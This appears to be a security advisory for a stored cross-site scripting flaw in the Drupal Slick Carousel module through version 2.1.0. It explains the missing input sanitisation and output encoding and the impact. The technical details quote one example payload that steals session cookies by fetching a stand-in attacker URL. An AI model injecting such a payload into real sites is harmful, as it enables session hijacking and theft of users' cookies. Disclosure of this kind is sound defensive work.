Description

Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting") vulnerability in Drupal Slick Carousel allows Stored XSS. This issue affects Slick Carousel versions: from 0.0.0 to 2.1.0.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "6.1",
  "pubDate": "2026-09-02T13:18:11.760Z",
  "pubdate": "2026-09-02T13:18:11.760Z",
  "executiveSummary": "A Stored Cross-Site Scripting (XSS) vulnerability exists in the Drupal Slick Carousel module, classified under CWE-79: Improper Neutralization of Input During Web Page Generation.\nThe vulnerability allows an unauthenticated or authenticated attacker with minimal permissions—depending on site configuration—to inject malicious JavaScript payloads into the web application.\nThese payloads are stored persistently on the server and executed within the context of the victim's browser session whenever they interact with the affected carousel component.\nSuccessful exploitation can result in session hijacking, unauthorized actions performed on behalf of the user, theft of sensitive session cookies, and the potential redirection of users to malicious third-party domains.\nThis issue affects all Slick Carousel versions from 0.0.0 through 2.1.0.\nThe risk is significant due to the potential for widespread impact on site administrators and end-users, necessitating prompt remediation to prevent account takeover and integrity loss within the Drupal environment.",
  "technicalDetails": "The vulnerability stems from insufficient input sanitization and improper output encoding of data processed by the Slick Carousel module. The module fails to neutralize malicious input provided by users during the configuration or content-creation phase before it is stored in the database.\nWhen a user provides input—such as captions, titles, or attribute data intended for the carousel—the application logic does not adequately validate or escape the provided strings. Consequently, the input is treated as trusted content and stored directly in the persistent data store.\nThe attack flow begins when an attacker identifies an input vector within the Slick Carousel settings or the content types utilizing the module. By injecting a crafted payload, such as '<script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>', the attacker exploits the application's failure to sanitize inputs. The malicious payload is persisted in the server-side database.\nUpon visiting a web page where the compromised carousel is rendered, the vulnerable component retrieves the stored malicious string. Because the module does not perform proper output encoding (e.g., converting special characters into their HTML entities), the browser interprets the payload as executable code rather than plain text.\nThe payload executes within the security context of the victim's browser. This bypasses typical Same-Origin Policy (SOP) protections, allowing the injected script to access document objects, manipulate the DOM, or exfiltrate sensitive data such as session tokens or anti-CSRF tokens to an external server controlled by the attacker.\nThe vulnerability is present in versions 0.0.0 through 2.1.0. The lack of robust context-aware output encoding ensures that any user-supplied content passed through the Slick Carousel rendering engine is susceptible to injection. Exploitation does not necessarily require administrative privileges if the input fields are accessible to lower-privileged users or through public-facing forms. The threat is compounded by the fact that the XSS is stored, meaning a single successful injection can impact every user who views the page, leading to a high potential for mass compromise."
}